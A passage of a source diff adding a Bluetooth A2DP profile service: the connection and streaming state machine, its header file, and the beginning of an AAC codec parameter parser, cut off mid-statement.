a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_ENTER(sm, &a2dp_sm->addr); + a2dp_sm->connect_timer = service_loop_timer(A2DP_CONNECT_TIMEOUT, 0, a2dp_connect_timeout_callback, a2dp_sm); + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, PROFILE_STATE_CONNECTING); +} + +static void opening_exit(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + service_loop_cancel_timer(a2dp_sm->connect_timer); + a2dp_sm->connect_timer = NULL; + A2DP_DBG_EXIT(sm, &a2dp_sm->addr); +} + +static bool opening_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + a2dp_event_data_t* data = (a2dp_event_data_t*)p_data; + bt_status_t status; + + A2DP_DBG_EVENT(sm, &a2dp_sm->addr, event); + switch (event) { + case DISCONNECT_REQ: { + if (a2dp_sm->peer_sep == SEP_SNK) + status = bt_sal_a2dp_source_disconnect(PRIMARY_ADAPTER, &data->bd_addr); + else + status = bt_sal_a2dp_sink_disconnect(PRIMARY_ADAPTER, &data->bd_addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Disconnect failed"); + } + hsm_transition_to(sm, &idle_state); + break; + } + + case CONNECTED_EVT: + hsm_transition_to(sm, &opened_state); + break; + + case DISCONNECTED_EVT: + case CONNECT_TIMEOUT: + hsm_transition_to(sm, &idle_state); + break; + + case OFFLOAD_STOP_REQ: + a2dp_offload_send_stop_cmd(a2dp_sm, data); + break; + + case OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_A2DP, A2DP_CTRL_EVT_STOPPED); + break; + + default: + break; + } + + return true; +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static void avrcp_start_timeout_callback(service_timer_t* timer, void* data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)data; + a2dp_sm->avrcp_timer = NULL; + if (a2dp_state_machine_get_connection_state(a2dp_sm) == PROFILE_STATE_CONNECTED) { + bt_sal_avrcp_control_connect(PRIMARY_ADAPTER, &a2dp_sm->addr); /* nothing happens if AVRCP already connected */ + } +} +#endif + +static void opened_enter(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + const state_t* prev_state = hsm_get_previous_state(sm); + a2dp_peer_t* peer = NULL; + bool ret; + + A2DP_DBG_ENTER(sm, &a2dp_sm->addr); + if (a2dp_sm->peer_sep == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + peer = a2dp_sink_find_peer(&a2dp_sm->addr); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + peer = a2dp_source_find_peer(&a2dp_sm->addr); +#endif + } + + if (!peer) { + BT_LOGE("peer device not found"); + return; + } + + if (prev_state == &idle_state || prev_state == &opening_state) { + /* if we are accept link as a2dp src, change the av link role to master */ + a2dp_sm->acl_handle = peer->acl_hdl; + if (a2dp_sm->peer_sep == SEP_SNK) + adapter_switch_role(&a2dp_sm->addr, BT_LINK_ROLE_MASTER); +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + if (a2dp_sm->peer_sep == SEP_SNK) { + /* local is source, wait the remote device to initiate a connection */ + a2dp_sm->avrcp_timer = service_loop_timer(AVRCP_TG_START_TIMEOUT, 0, avrcp_start_timeout_callback, a2dp_sm); + } +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + if (a2dp_sm->peer_sep == SEP_SRC) { + /* local is sink, try AVRCP connection as CT */ + bt_sal_avrcp_control_connect(PRIMARY_ADAPTER, &a2dp_sm->addr); + } +#endif + ret = a2dp_audio_on_connection_changed(a2dp_sm->peer_sep, true); + if (!ret) { + BT_LOGD("a2dp control not connected, then set a2dp available"); + bt_media_set_a2dp_available(); + } + + bt_pm_conn_open(PROFILE_A2DP, &a2dp_sm->addr); + if (a2dp_sm->peer_sep == SEP_SRC) { +#if defined(CONFIG_BLUETOOTH_A2DP_SINK) && defined(CONFIG_BLUETOOTH_CONNECTION_MANAGER) + bt_cm_connected(&a2dp_sm->addr, PROFILE_A2DP_SINK); +#endif + } + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, + PROFILE_STATE_CONNECTED); + } +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + else if (prev_state == &started_state) { + bt_sal_avrcp_target_play_status_notify(PRIMARY_ADAPTER, &a2dp_sm->addr, PLAY_STATUS_PAUSED); + } +#endif +} + +static void opened_exit(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_EXIT(sm, &a2dp_sm->addr); +} + +static bool opened_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + a2dp_event_data_t* data = (a2dp_event_data_t*)p_data; + + A2DP_DBG_EVENT(sm, &a2dp_sm->addr, event); + switch (event) { + case DISCONNECT_REQ: { + bt_status_t status; + + if (a2dp_sm->peer_sep == SEP_SNK) + status = bt_sal_a2dp_source_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + else + status = bt_sal_a2dp_sink_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("A2dp disconnect failed"); + } +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARTGET) + status = bt_sal_avrcp_control_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Avrc disconnect failed"); + } +#endif + a2dp_audio_on_connection_changed(a2dp_sm->peer_sep, false); + hsm_transition_to(sm, &closing_state); + break; + } + case STREAM_START_REQ: { + bt_status_t status; + + /* if we are in suspending substate, ignore this request */ + if (flag_isset(a2dp_sm, PENDING_STOP) || flag_isset(a2dp_sm, PENDING_START)) { + BT_LOGD("in suspending or starting substate, ignore this request"); + break; + } + if (!a2dp_sm->audio_ready) { + BT_LOGE("A2DP Audio is not ready, Ignore start cmd"); + break; + } + bt_pm_busy(PROFILE_A2DP, &a2dp_sm->addr); + status = bt_sal_a2dp_source_start_stream(PRIMARY_ADAPTER, &a2dp_sm->addr); + bt_pm_idle(PROFILE_A2DP, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Stream start failed"); + break; + } + flag_set(a2dp_sm, PENDING_START); + a2dp_sm->start_timer = service_loop_timer(A2DP_START_TIMEOUT, 0, a2dp_start_timeout_callback, a2dp_sm); + break; + } + case DELAY_STREAM_START_REQ: { + bt_status_t status; + + if (a2dp_sm->delay_start_timer) + service_loop_cancel_timer(a2dp_sm->delay_start_timer); + a2dp_sm->delay_start_timer = NULL; + if (flag_isset(a2dp_sm, PENDING_START)) + break; + status = bt_sal_a2dp_source_start_stream(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Stream delay start failed"); + break; + } + flag_set(a2dp_sm, PENDING_START); + a2dp_sm->start_timer = service_loop_timer(A2DP_START_TIMEOUT, 0, a2dp_start_timeout_callback, a2dp_sm); + break; + } + case DISCONNECTED_EVT: + if (flag_isset(a2dp_sm, PENDING_START)) { + flag_clear(a2dp_sm, PENDING_START); + service_loop_cancel_timer(a2dp_sm->start_timer); + a2dp_sm->start_timer = NULL; + /* When pending on start request, then received stream close event + call a2dp_audio_on_started(), shoule ack start failure; */ + a2dp_audio_on_started(a2dp_sm->peer_sep, false); + } + a2dp_audio_on_connection_changed(a2dp_sm->peer_sep, false); + hsm_transition_to(sm, &idle_state); + break; + + case STREAM_STARTED_EVT: + if (a2dp_sm->peer_sep == SEP_SNK) { + /* If remote tries to start A2DP when DUT is A2DP Source, then Suspend. + If A2DP is Sink and call is active, then disconnect the AVDTP channel. */ + flag_clear(a2dp_sm, PENDING_START); + service_loop_cancel_timer(a2dp_sm->start_timer); + a2dp_sm->start_timer = NULL; + if (a2dp_sm->delay_start_timer) + service_loop_cancel_timer(a2dp_sm->delay_start_timer); + a2dp_sm->delay_start_timer = NULL; + } + + if (!a2dp_sm->audio_ready && a2dp_sm->peer_sep == SEP_SNK) { + BT_LOGW("A2dp device is not ready: %s", stack_event_to_string(event)); + break; + } + a2dp_audio_on_started(a2dp_sm->peer_sep, true); + hsm_transition_to(sm, &started_state); + break; + + case STREAM_SUSPENDED_EVT: + case STREAM_CLOSED_EVT: + if (flag_isset(a2dp_sm, PENDING_STOP) && a2dp_sm->delay_start_timer) { + service_loop_cancel_timer(a2dp_sm->delay_start_timer); + a2dp_sm->delay_start_timer = service_loop_timer(A2DP_DELAY_START, 0, a2dp_delay_start_timeout_callback, a2dp_sm); + } + flag_clear(a2dp_sm, PENDING_STOP); + a2dp_report_audio_state(a2dp_sm, &a2dp_sm->addr, + A2DP_AUDIO_STATE_STOPPED); + a2dp_audio_on_stopped(a2dp_sm->peer_sep); + break; + + case DEVICE_CODEC_STATE_CHANGE_EVT: + a2dp_sm->audio_ready = true; + a2dp_report_audio_config_state(a2dp_sm, &a2dp_sm->addr); + a2dp_audio_setup_codec(a2dp_sm->peer_sep, &a2dp_sm->addr); + break; + + case START_TIMEOUT: { + flag_clear(a2dp_sm, PENDING_START); + service_loop_cancel_timer(a2dp_sm->start_timer); + a2dp_sm->start_timer = NULL; + a2dp_audio_on_started(a2dp_sm->peer_sep, false); + break; + } + + case OFFLOAD_START_REQ: { + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + if (a2dp_sm->peer_sep == SEP_SNK) { + flag_clear(a2dp_sm, PENDING_START); + service_loop_cancel_timer(a2dp_sm->start_timer); + a2dp_sm->start_timer = NULL; + if (a2dp_sm->delay_start_timer) + service_loop_cancel_timer(a2dp_sm->delay_start_timer); + a2dp_sm->delay_start_timer = NULL; + } + + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(a2dp_sm, PENDING_OFFLOAD_START); + a2dp_sm->offload_timer = service_loop_timer(A2DP_OFFLOAD_TIMEOUT, 0, a2dp_offload_config_timeout_callback, a2dp_sm); + + bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, + a2dp_sm); + break; + } + + case OFFLOAD_START_EVT: { + bt_hci_event_t* hci_event; + hci_error_t status; + + if (a2dp_sm->peer_sep == SEP_SNK) { + flag_clear(a2dp_sm, PENDING_START); + service_loop_cancel_timer(a2dp_sm->start_timer); + a2dp_sm->start_timer = NULL; + if (a2dp_sm->delay_start_timer) + service_loop_cancel_timer(a2dp_sm->delay_start_timer); + a2dp_sm->delay_start_timer = NULL; + } + + hci_event = data->data; + if (a2dp_sm->offload_timer) { + service_loop_cancel_timer(a2dp_sm->offload_timer); + a2dp_sm->offload_timer = NULL; + } + + status = hci_get_result(hci_event); + if (status != HCI_SUCCESS) { + BT_LOGE("A2DP_OFFLOAD_START fail, status:0x%0x", status); + BT_DFX_A2DP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_HCI_UNSPECIFIED_ERROR); + + a2dp_audio_on_started(a2dp_sm->peer_sep, false); + break; + } + + a2dp_audio_on_started(a2dp_sm->peer_sep, true); // workaround always true for controller bug + hsm_transition_to(sm, &started_state); + break; + } + + case OFFLOAD_TIMEOUT: { + flag_clear(a2dp_sm, PENDING_OFFLOAD_START); + a2dp_sm->offload_timer = NULL; + a2dp_audio_on_started(a2dp_sm->peer_sep, false); + break; + } + + case OFFLOAD_STOP_REQ: + a2dp_offload_send_stop_cmd(a2dp_sm, data); + break; + + case OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_A2DP, A2DP_CTRL_EVT_STOPPED); + break; + + default: + break; + } + + return true; +} + +static bt_status_t a2dp_send_active_link_cmd(a2dp_state_machine_t* a2dp_sm, bool is_start) +{ + uint8_t ogf; + uint16_t ocf; + size_t size; + uint8_t* payload; + acl_bandwitdh_config_t config = { 0 }; + uint8_t cmd[CONFIG_VSC_MAX_LEN]; + + config.acl_hdl = a2dp_sm->acl_handle; + if (is_start) { + config.bandwidth = 219032; /* TODO: calculate bandwidth by codec configuration */ + BT_LOGD("set bandwidth %" PRIu32 " kbps for connection 0x%04x", + config.bandwidth / 1000, config.acl_hdl); + if (!acl_bandwidth_config_builder(&config, cmd, &size)) { + BT_LOGE("A2DP config bandwidth failed"); + return BT_STATUS_FAIL; + } + } else { + BT_LOGD("remove bandwidth config for connection 0x%04x", config.acl_hdl); + if (!acl_bandwidth_deconfig_builder(&config, cmd, &size)) { + BT_LOGE("A2DP deconfig bandwidth failed"); + return BT_STATUS_FAIL; + } + } + + payload = cmd; + STREAM_TO_UINT8(ogf, payload); + STREAM_TO_UINT16(ocf, payload); + size -= sizeof(ogf) + sizeof(ocf); + + return bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, size, payload, NULL /* TODO: add callback */, a2dp_sm); +} + +static void started_enter(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_ENTER(sm, &a2dp_sm->addr); + if (a2dp_sm->peer_sep == SEP_SNK) + adapter_switch_role(&a2dp_sm->addr, BT_LINK_ROLE_MASTER); + + bt_pm_busy(PROFILE_A2DP, &a2dp_sm->addr); + a2dp_send_active_link_cmd(a2dp_sm, true); + a2dp_report_audio_state(a2dp_sm, &a2dp_sm->addr, + A2DP_AUDIO_STATE_STARTED); +} + +static void started_exit(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_EXIT(sm, &a2dp_sm->addr); + bt_pm_idle(PROFILE_A2DP, &a2dp_sm->addr); + a2dp_send_active_link_cmd(a2dp_sm, false); +} + +static bool started_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + a2dp_event_data_t* data = (a2dp_event_data_t*)p_data; + + A2DP_DBG_EVENT(sm, &a2dp_sm->addr, event); + switch (event) { + case DISCONNECT_REQ: { + bt_status_t status; + if (a2dp_sm->peer_sep == SEP_SNK) + status = bt_sal_a2dp_source_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + else + status = bt_sal_a2dp_sink_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Disconnect failed"); + } +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARTGET) + status = bt_sal_avrcp_control_disconnect(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Avrc disconnect failed"); + } +#endif + hsm_transition_to(sm, &closing_state); + break; + } + + case STREAM_START_REQ: + /* received start request when we are in pending a2dp stream + suspend sub-state, we need restart stream and transmit state to + opened state, and wait for started event */ + if (flag_isset(a2dp_sm, PENDING_STOP)) { + a2dp_sm->delay_start_timer = service_loop_timer(A2DP_SUSPEND_TIMEOUT, 0, a2dp_delay_start_timeout_callback, a2dp_sm); + hsm_transition_to(sm, &opened_state); + break; + } + // We were started remotely, just ACK back the local request + if (a2dp_sm->peer_sep == SEP_SNK) + a2dp_audio_on_started(a2dp_sm->peer_sep, true); + break; + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + case DATA_IND_EVT: + a2dp_sink_packet_recieve(data->packet); + break; +#endif + + case STREAM_SUSPEND_REQ: { + bt_status_t status; + /* if device had already send suspend request, ignore it */ + if (flag_isset(a2dp_sm, PENDING_STOP)) { + BT_LOGD("had already send suspend request, ignore it"); + break; + } + flag_set(a2dp_sm, PENDING_STOP); + status = bt_sal_a2dp_source_suspend_stream(PRIMARY_ADAPTER, &a2dp_sm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Stream suspend failed"); + a2dp_audio_on_stopped(a2dp_sm->peer_sep); + } + break; + } + + case DISCONNECTED_EVT: + // check active, if active should nofify ffmpeg to stop + a2dp_audio_on_connection_changed(a2dp_sm->peer_sep, false); + hsm_transition_to(sm, &idle_state); + break; + + case STREAM_SUSPENDED_EVT: + // If remote suspend, notify ffmpeg to + // suspend/stop stream. + a2dp_sm->pending = PENDING_NONE; + a2dp_audio_on_stopped(a2dp_sm->peer_sep); + a2dp_report_audio_state(a2dp_sm, &a2dp_sm->addr, + A2DP_AUDIO_STATE_STOPPED); + hsm_transition_to(sm, &opened_state); + break; + + case STREAM_CLOSED_EVT: + a2dp_sm->pending = PENDING_NONE; + a2dp_audio_on_stopped(a2dp_sm->peer_sep); + a2dp_report_audio_state(a2dp_sm, &a2dp_sm->addr, + A2DP_AUDIO_STATE_STOPPED); + hsm_transition_to(sm, &opened_state); + break; + + case DEVICE_CODEC_STATE_CHANGE_EVT: + a2dp_sm->audio_ready = true; + a2dp_report_audio_config_state(a2dp_sm, &a2dp_sm->addr); + if (a2dp_sm->peer_sep == SEP_SNK) { + BT_LOGE("Codec reconfiguration should not be performed during the Started state, as a source."); + break; + } + + a2dp_audio_setup_codec(a2dp_sm->peer_sep, &a2dp_sm->addr); + break; + + case OFFLOAD_STOP_REQ: + a2dp_offload_send_stop_cmd(a2dp_sm, data); + break; + + case OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_A2DP, A2DP_CTRL_EVT_STOPPED); + break; + + default: + break; + } + + return true; +} + +static void closing_enter(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_ENTER(sm, &a2dp_sm->addr); + a2dp_audio_on_connection_changed(a2dp_sm->peer_sep, false); + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, + PROFILE_STATE_DISCONNECTING); +} + +static void closing_exit(state_machine_t* sm) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + + A2DP_DBG_EXIT(sm, &a2dp_sm->addr); +} + +static bool closing_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + a2dp_state_machine_t* a2dp_sm = (a2dp_state_machine_t*)sm; + a2dp_event_data_t* data = (a2dp_event_data_t*)p_data; + + A2DP_DBG_EVENT(sm, &a2dp_sm->addr, event); + switch (event) { + case STREAM_SUSPEND_REQ: + break; + + case STREAM_CLOSED_EVT: + case STREAM_SUSPENDED_EVT: + flag_clear(a2dp_sm, PENDING_STOP); + a2dp_audio_on_stopped(a2dp_sm->peer_sep); + break; + + case DISCONNECTED_EVT: + hsm_transition_to(sm, &idle_state); + break; + + case OFFLOAD_STOP_REQ: + a2dp_offload_send_stop_cmd(a2dp_sm, data); + break; + + case OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_A2DP, A2DP_CTRL_EVT_STOPPED); + break; + + default: + break; + } + + return true; +} + +static void a2dp_state_machine_event_dispatch(a2dp_state_machine_t* a2dp_sm, a2dp_event_t* a2dp_event) +{ + if (!a2dp_event || !a2dp_sm) + return; + + hsm_dispatch_event(&a2dp_sm->sm, a2dp_event->event, &a2dp_event->event_data); +} + +a2dp_state_machine_t* a2dp_state_machine_new(void* context, uint8_t peer_sep, bt_address_t* bd_addr) +{ + a2dp_state_machine_t* a2dp_sm; + + a2dp_sm = (a2dp_state_machine_t*)malloc(sizeof(a2dp_state_machine_t)); + if (!a2dp_sm) + return NULL; + + memset(a2dp_sm, 0, sizeof(a2dp_state_machine_t)); + a2dp_sm->service = context; + a2dp_sm->peer_sep = peer_sep; + hsm_ctor(&a2dp_sm->sm, (state_t*)&idle_state); + memcpy(&a2dp_sm->addr, bd_addr, sizeof(bt_address_t)); + + return a2dp_sm; +} + +void a2dp_state_machine_destory(a2dp_state_machine_t* a2dp_sm) +{ + if (!a2dp_sm) + return; + + if (a2dp_state_machine_get_state(a2dp_sm) != A2DP_STATE_IDLE) { + bt_pm_conn_close(PROFILE_A2DP, &a2dp_sm->addr); + a2dp_report_connection_state(a2dp_sm, &a2dp_sm->addr, PROFILE_STATE_DISCONNECTED); + } + + hsm_dtor(&a2dp_sm->sm); + free((void*)a2dp_sm); +} + +void a2dp_state_machine_handle_event(a2dp_state_machine_t* sm, + a2dp_event_t* a2dp_event) +{ + a2dp_state_machine_event_dispatch(sm, a2dp_event); +} + +a2dp_state_t a2dp_state_machine_get_state(a2dp_state_machine_t* sm) +{ + const state_t* cur_state = hsm_get_current_state(&sm->sm); + + if (!cur_state) + return A2DP_STATE_IDLE; + + return cur_state->state_value; +} + +profile_connection_state_t a2dp_state_machine_get_connection_state(a2dp_state_machine_t* sm) +{ + a2dp_state_t state = a2dp_state_machine_get_state(sm); + + if (state == A2DP_STATE_IDLE) { + return PROFILE_STATE_DISCONNECTED; + } else if (state == A2DP_STATE_OPENING) { + return PROFILE_STATE_CONNECTING; + } else if (state == A2DP_STATE_OPENED) { + return PROFILE_STATE_CONNECTED; + } else if (state == A2DP_STATE_STARTED) { + return PROFILE_STATE_CONNECTED; + } else if (state == A2DP_STATE_CLOSING) { + return PROFILE_STATE_DISCONNECTING; + } + + return PROFILE_STATE_DISCONNECTED; +} + +const char* a2dp_state_machine_current_state(a2dp_state_machine_t* sm) +{ + return hsm_get_current_state_name(&sm->sm); +} + +bool a2dp_state_machine_is_pending_stop(a2dp_state_machine_t* sm) +{ + if (flag_isset(sm, PENDING_STOP)) + return true; + + return false; +} diff --git a/service/profiles/a2dp/a2dp_state_machine.h b/service/profiles/a2dp/a2dp_state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..20f1f95a0818ac679f781fa2ba77f3f49d97e12f --- /dev/null +++ b/service/profiles/a2dp/a2dp_state_machine.h @@ -0,0 +1,56 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_STATE_MACHINE_H__ +#define __A2DP_STATE_MACHINE_H__ + +#include "a2dp_event.h" +#include "bt_device.h" + +typedef enum { + A2DP_STATE_IDLE, + A2DP_STATE_OPENING, + A2DP_STATE_OPENED, + A2DP_STATE_STARTED, + A2DP_STATE_CLOSING +} a2dp_state_t; + +typedef struct _a2dp_state_machine a2dp_state_machine_t; + +a2dp_state_machine_t* a2dp_state_machine_new(void* context, uint8_t peer_sep, bt_address_t* bd_addr); +void a2dp_state_machine_destory(a2dp_state_machine_t* a2dp_sm); +void a2dp_state_machine_handle_event(a2dp_state_machine_t* sm, a2dp_event_t* a2dp_event); +a2dp_state_t a2dp_state_machine_get_state(a2dp_state_machine_t* sm); +const char* a2dp_state_machine_current_state(a2dp_state_machine_t* sm); +profile_connection_state_t a2dp_state_machine_get_connection_state(a2dp_state_machine_t* sm); +bool a2dp_state_machine_is_pending_stop(a2dp_state_machine_t* sm); +#endif diff --git a/service/profiles/a2dp/codec/a2dp_codec_aac.c b/service/profiles/a2dp/codec/a2dp_codec_aac.c new file mode 100644 index 0000000000000000000000000000000000000000..a5db38115460669be45468027a3131e5e6e5e337 --- /dev/null +++ b/service/profiles/a2dp/codec/a2dp_codec_aac.c @@ -0,0 +1,160 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "a2dp_codec.h" +#include "a2dp_codec_aac.h" +#include "a2dp_source_audio.h" + +#define LOG_TAG "a2dp_codec_aac" +#include "utils/log.h" + +typedef struct { + uint8_t object_type; + uint16_t sample_rate; + uint8_t channel_mode; + uint8_t variable_bit_rate; + uint32_t bit_rate; +} a2dp_aac_info_t; + +static int a2dp_parse_aac_info(a2dp_aac_info_t* info, uint8_t* codec_info) +{ + if (info == NULL || codec_info == NULL) + return -1; + + info->object_type = *codec_info++; + info->sample_rate = (*codec_info & A2DP_AAC_SAMPLING_FREQ_MASK0) | (*(codec_info + 1) << 8 & A2DP_AAC_SAMPLING_FREQ_MASK1); + codec_info++; + info->channel_mode = *codec_info & A2DP_AAC_CHANNEL_MODE_MASK; + info->variable_bit_rate = *codec_info & A2DP_AAC_VARIABLE_BIT_RATE_MASK; + codec_info++; + info->bit_rate = (*codec_info << 16 & A2DP_AAC_BIT_RATE_MASK0) | (*(codec_info + 1) << 8 & A2DP_AAC_BIT_RATE_MASK1) | (*(codec_info + 2) & A2DP_AAC_BIT_RATE_MASK2); + if (info->object_type == 0 || info->sample_rate == 0 || info->channel_mode == 0) + return -1; + + return 0; +} + +static int a2dp_get_aac_samplerate(a2dp_aac_info_t* info) +{ + + if (info == NULL) + return -1; + + switch (info->sample_rate) { + case A2DP_AAC_SAMPLING_FREQ_8000: + return 8000; + case A2DP_AAC_SAMPLING_FREQ_11025: + return 11025; + case A2DP_AAC_SAMPLING_FREQ_12000: + return 12000; + case A2DP_AAC_SAMPLING_FREQ_16000: + return 16000; + case A2DP_AAC_SAMPLING_FREQ_22050: + return 22050; + case A2DP_AAC_SAMPLING_FREQ_24000: + return 24000; + case A2DP_AAC_SAMPLING_FREQ_32000: + return 32000; + case A2DP_AAC_SAMPLING_FREQ_44100: + return 44100; + case A2DP_AAC_SAMPLING_FREQ_48000: + return 48000; + case A2DP_AAC_SAMPLING_FREQ_64000: + return 64000; + case A2DP_AAC_SAMPLING_FREQ_88200: + return 88200; + case A2DP_AAC_SAMPLING_FREQ_96000: + return 96000; + } + + return -1; +} + +static int a2dp_get_aac_number_of_channels(a2dp_aac_info_t* info) +{ + if (info == NULL) + return -1; + + if (info->channel_mode == A2DP_AAC_CHANNEL_MODE_MONO) + return 1; + else if (info->channel_mode == A2DP_AAC_CHANNEL_MODE_STEREO) + return 2; + + return -1; +} + +int a2dp_codec_parse_aac_param(aac_encoder_param_t* param, uint8_t* codec_info, uint16_t tx_mtu_size) +{ + a2dp_aac_info_t info; + uint32_t bitrate; + + if (param == NULL || codec_info == NULL) + return -1; + + if (a2dp_parse_aac_info(&info, codec_info) != 0) + return -1; + + param->u16ObjectType = info.object_type; + param->u16VariableBitRate = info.variable_bit_rate; + param->u16ChannelMode = info.channel_mode; + param->u16NumOfChannels = a2dp_get_aac_number_of_channels(&info); + param->u32SampleRate = a2dp_get_aac_samplerate(&info); + if (tx_mtu_size > 0) { + bitrate = (8 * tx_mtu_size * param->u32SampleRate) / 1024; + param->u32BitRate = bitrate < info.bit_rate ? bitrate : info.bit_rate; + } else + param->u32BitRate = info.bit_rate; + + BT_LOGD("MaxTxSize:%" PRIu16 ", BitRate peer: %" PRIu32 ", adjust:%" PRIu32, + tx_mtu_size, 